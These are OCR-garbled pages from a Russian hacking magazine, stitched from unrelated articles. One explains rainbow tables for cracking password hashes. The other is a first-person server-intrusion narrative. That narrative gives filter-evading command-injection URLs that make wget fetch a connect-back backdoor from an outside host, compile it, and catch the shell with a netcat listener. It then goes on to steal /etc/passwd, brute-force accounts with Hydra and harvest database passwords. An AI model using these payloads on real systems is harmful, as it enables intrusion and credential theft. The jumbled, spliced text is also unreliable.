книги хакеры / журнал хакер / 082_Optimized

ВЗЛОМ 049]

[XÀÊÅÐ 10 [82] 05 >

UNIXOID

КОДИНГ

КРЕАТИФФ

ЮНИТЫ

Использование rainbow tables для сверхбыстрого взлома хэшей

[начало] В большинстве систем пользовательские пароли не хранятся в открытом виде, размещаются только лишь соответствующие им значения хэш-функций. При этом возникает такая ситуация, что даже сама система не знает пользовательского пароля: она располагает лишь его отпечатком и при аутентификации сравнивает хэш переданной пользователем строки с тем, что хранится внутри системы. Таким образом, даже если взломщику удается захватить хэши пользовательских паролей, обычно ему не удается использовать эти значения для своих темных делишек.

К сожалению, сейчас многие проекты страдают довольно странной, на мой взгляд, вещью: они сами предоставляют интерфейс для аутентификации через хэш-пароль, обращая в маразм всю эту затею с шифрованием. За примерами далеко ходить не надо: куча web-форумов, которые хранят в пользовательских cookies зашифрованные пароли и осуществляют аутентификацию по этим значениям.

Если же аутентификация по хэш-паролю невозможна, перед взломщиком встает серьезная проблема: нужно каким-то способом получить исходную строку по известному хэшу. Строго говоря, решение этой зада- чи не единственное: нельзя исключать ситуацию, при которой двум различным строкам будет соответствовать одно и тоже значение хэш-функ- ции. Именно по этой причине правильно говорить, что взлом хэша — это поиск коллизии, а не исходной строки. Ведь если одному значению хэша соответствуют строки «jkfdskhjvk» и «Qkfdjkvfdhlbdfhbf», невозможно знать наверняка, какую из них загадал пользователь Петя.

Каким же образом возможно найти коллизию? Самый простой вариант, который приходит в голову — тупой перебор всех возможных значений. Генерируется множество всех допустимых значений строк-оригиналов, бе-

рется первый элемент, для него генерируется хэш, сравнивается с известным. Если значения совпадают, процесс закончен и коллизия найдена. Если не совпадают, берется следующий элемент. И так до тех пор, пока не обнаружится коллизия, либо не закончится множество претендентов.

К сожалению, такой подход не может обеспечить хорошей производительности. Дело в том, что процесс перебора занимает разумное время только в том случае, если множество вариантов не слишком велико. Перебор всех возможных строк длиной в 10 символов — это уже неземная задача для PC-хакера. Именно по этой причине люди стали искать пути к тому, чтобы оптимизировать процесс поиска коллизий. И что ты думаешь, нашли.

[новый метод] Все началось чуть раньше, чем ты предполагал. Еще в 1980 году Мартин Хеллман предложил кардинально новый подход к криптоанализу хэш-функций: он предложил использовать предварительно вычисленные таблицы, размещенные в памяти. Однако совершенно понятно, что хранить хэш-значения всех возможных вариантов ключей — абсурдная затея, которая ни к чему хорошему не приведет. Мало того, что такие таблицы будут занимать умопомрачительное коли- чество терабайт, так еще и поиск по ним будет занимать невероятное количество времени.

Хеллман предложил довольно оригинальную концепцию, которая основывается на разбиении исходного множества ключей на набор подмножеств. На практике это делается следующим образом:

1 Фиксируется рабочий алфавит, то есть задается множество Q всех возможных ключей.

2 Фиксируется элемент q из множества Q, и вычисляется значение h хэш-функции на нем.

вероятностная поверхность, которая дает представление о том, как надо выбирать параметры

3При помощи некоторой «срезающей» функции R из хэша генерируется ключ, принадлежащий множеству Q: q=R(h). Если число элементов в цепочке меньше заданного, то осуществляется переход к пункту 2.

Такой итеративный процесс выполняется до тех пор, пока мы не получим цепочку длиной t ключей. Эта последовательность не размещается целиком в памяти, записывается лишь первый и последний ее элементы. В этом и заключает-

ся суть метода: если в цепочке, скажем, 1500 ключей, то мы неслабо экономим памяти, обменивая ее на время, необходимое для дальнейшего криптоанализа. К слову, в исходном варианте название этого метода переводится как «компромисс между затратами времени и памяти в криптоанализе», так что все логично. Но вернемся к описанию метода.

При помощи описанного алгоритма генерируется определенное количе- ство цепочек, которые можно удобно представить в виде двумерного массива, или таблицы с двумя колонками, в первой из которых находится начальный ключ цепочки, а во второй — конечный. После того как цепочки сгенерированны, можно уже осуществлять в них поиск ключа. Реализуется это следующим образом.

Задается значение хэш-функции, для которого необходимо получить коллизию. При помощи срезающей функции R строится значение клю- ча K0, из которого выводится по описанному алгоритму цепочка поиска длиной не более чем t элементов. Если в таблице есть искомый ключ, то один из сгенерированных элементов новой цепочки будет являться терминальным элементом нашей таблицы. Далее не составляет труда по известному начальному элементу вывести всю соот-

ветствующую терминалу цепочку, вклю- чая элемент, непосредственно предшествующий начальному значению K0, то есть ключ, который мы ищем. Однако такой позитивный расклад возможен только в том случае, если в сгенерированных таблицах действительно есть коллизия. Здесь вплотную встает резонный вопрос: сколько же нужно сгенерировать цепочек, что-

бы они покрывали все множество возможных ключей. И к сожалению, дать односложный ответ невозможно.

[липкая дрянь] Дело в том, что не исключен вариант, при котором цепочки, начинающиеся с различных ключей, будут иметь одинаковые элементы и будут «слипаться» после определенной позиции. Это происходит из-за природы срезающей функции: ведь она отображает более мощное множество в менее мощное. Понятно, что во множестве хэшей возможных элементов значительно больше, чем во множестве ключей. По этой причине нескольким хэшам соответствует только один ключ. Если у тебя проблемы с воображением, на соответствующем рисунке можно увидеть наглядную иллюстрацию.

А я пока продолжу отвечать на вопрос о количестве цепочек. Вообще говоря, чтобы обеспечить полное покрытие множества Q, необходимо сгенерировать бесконечно большую таблицу с цепочками. Дело в том, что частота слипания цепей быстро увеличивается вместе с ростом таблицы. Поэтому число требуемых последовательностей характеризуется требуемой вероятностью (обозначу ее как P*) того, что произвольный ключ q из Q окажется в нашей системе подмножеств, в нашей таблице. Именно требуемая вероятность P* определяет необходимый размер таблицы с цепочками. Обрати внимание, что под «размером» таблицы я понимаю как число цепочек, так и их длину, оба эти параметра влияют на частоту слипания и эффективность покрытия.

В работе Хеллмана строго выводится формула, по которой можно вычи- слить P* как функцию от числа цепочек, их длины и числа элементов во множестве Q. Это довольно здоровое выражение, и само по себе нас мало интересует, нас больше заботит, что оно показывает. Собственно,

ВЗЛОМ 051]

[XÀÊÅÐ 10 [82] 05 >

rtgen lm alpha 1 7 0 2100 8000000 all

Здесь lm — это имя хэш-функции, alpha — это допустимые в ключе символы, в данном случае просто латинские буквы (ABCDEFGHIJKLMNOPQRSTUVWXYZ). 1 и 7 — это минимальная и максимальная длина ключа, 0 — идентификатор таблицы, 2100 — длина каждой цепочки, а 8000000 — количество цепочек. Вполне резонный вопрос: почему указаны именно такие числа, а не другие. В нашем случае для этой конфигурации такие настройки оптимальны, они обеспечивают приемлемое время генерации, поиска и объем занимаемой памяти. Поиск таких оптимальных значений для различных конфигураций — штука непростая, но мы с тобой сейчас научимся этому искусству. Тем более, что у нас для этого все есть.

[анализ параметров] Прежде всего необходимо определить, какие параметры мы можем подкручивать, и на что это влияет. Совершенно очевидно, что потребительские параметры (вероятность успеха, объем занимаемой памяти и время поиска) зависят от длины цепочек t, их количества m и числа используемых таблиц l. Мы знаем, как выражаются через эти параметры вероятность P, но ничего пока не говорили о том, как от них зависят время поиска T и объем таблиц M. С размером таблиц все просто, каждая цепочка описывается такой вот структурой:

struct RainbowChain { uint64 nIndexS; uint64 nIndexE;

};

Поэтому общий объем таблицы из m цепочек составляет 16*m. Соответственно, если таблица всего одна, то они занимают 16*m*l байт.

Что касается времени поиска хэша, то оно выражается так: t*t/(2*speed), где speed — это скорость вычисления хэшей.

Теперь можно наложить некоторые ограничения на эти параметры, например, чтобы время поиска оригинала для md5-хэша было не больше 7000 секунд, и при этом места под таблицы требовалось не больше 10 Гб. Теоретически, по этим сведениям можно задать область, в которой удовлетворяются все наложенные ограничения. На практике же возникает проблема с численным расчетом вероятностной поверхности.

Дело в том, что вероятность обнаружения хэша в одной таблице выражается как 1-П(1-m[i]/N), где П — произведение по i от 1 до t, длины цепоч- ки; m[i] — число новых элементов в i-ой цепочке. Числа m[i] вычисляются итеративно, каждое последующее значение зависит от предыдущего, и, в конечном итоге, все они зависят от начального. Сам понимаешь, что рас- чет такой конструкции и ее пересчет при изменении начального условия

— задача очень трудоемкая, компьютер возится над ней долго. Рассчи-

FERRUM

PC_ZONE

ИМПЛАНТ

[ВЗЛОМ]

СЦЕНА

атака reserse ip lookup в действии

Решено было закачать на сервер connback-бэкдор, тем более, что на площадке был установлен wget. Я посмотрел ASCII-таблицу и узнал коды требуемых мне для дальнейшей атаки символов: дефис (45), слэш (47), одинарная кавычка (39) и вертикальная черта (7C).

Это было сделано для того, чтобы обойти фильтрацию: неугодный символ можно было легко заменить Perl-конструкцией chr(КОД_СИВОЛА), передав эту строку на выполнение интерпретатору Perl:

www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS-e $IFS"print$IFS.chr(39).wget$IFSinfectors-xoct.narod.ru.chr (39).chr(47).connback.c$IFS.chr(45).O'.chr(47).'tmp'.chr(47).'connback.c.chr(39)"|`

Так я залил бэкдор и скомпилировал уже установленный GCC:

www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS- e$IFS"print$IFS.chr(39).gcc$IFSconnback.c$IFS.chr(45).$IFS.chr(47).tm p.chr(47).connback.chr(39)"|`

Программа собралась удачно и я запустил ее, установив в бэкдоре 80 портов для подключения — чтобы строгий файрвол пропустил соединение. Затем я запустил на собственном дедике неткат на 80 порту и стал ждать коннекта:

nc -l -p 80

Бэкдор успешно соединился и я получил доступ к полноценной командной оболочке.

[дайте рута после брута] Получить шелл — значит получить и файл /etc/passwd. Я достал файл паролей (cat /etc/passwd), установил уникальный брутфорсер Hydra от THC (об этом брутфорсе мы писали в январе) и начал брутфорсить пароли системных пользователей. Я сбрутфорсил всего два пароля, однако полученные учетные записи были ограничены по своим возможностям. Однако локальные привилегии — это уже большое дело, мои шансы на взлом резко возросли.

[неожиданный поворот событий] К моему сожалению, все historyфайлы, которые я смог отыскать (.bash_history, .mysql_hisory), не дали мне ничего хорошего, зато я легко узнал полный путь к WWW-каталогу, прочи- тав httpd.conf. Вскоре я нашел *.inc-файл с настройками какой-то PHP-сис- темы, в которой обнаружил информацию для соединения с базой данных MySQL. К MySQL эти пароли подошли, а вот на FTP и SSH меня с ними не пустили. Насколько я понял, администратор поставил на все сервисы разные пароли, что опять-таки свидетельствует в пользу его квалификации. Как я уже отмечал, на сервере стоял пропатченный Linux, версии системных демонов были также стабильными и казалось, что поднять привилегии невозможно. Но я не сдавался, и принялся досконально изучать систему. На сервере крутилась куча IDS — PortSentry, Chrootkit и Snort. Стоило быть поаккуратнее. Команда last -10 говорила о том, что админ регулярно появляется в системе. После просмотра процессов системы (ps -ax), я заметил один знакомый процесс — sysad3. Было такое ощущение, что я его где-то видел. И в самом деле, я уже встречал это приложение в одной из директорий сервера в виде исходника на C. Скачав себе сишник, я понял, что админ является кодером по совместительству. Он наколбасил самопальную утилиту, которая следила за состоянием системы, но была еще довольнотаки сырой. Читая исходный код этой утилиты, я нашел в ней баг — переполнение буфера, что явилось для меня неожиданностью. Однако все это могло дать неограниченные возможности в системе, поскольку программа была запущена под рутовыми привилегиями — оставалось написать грамотный шелл-код, и получить абсолютный доступ к системе.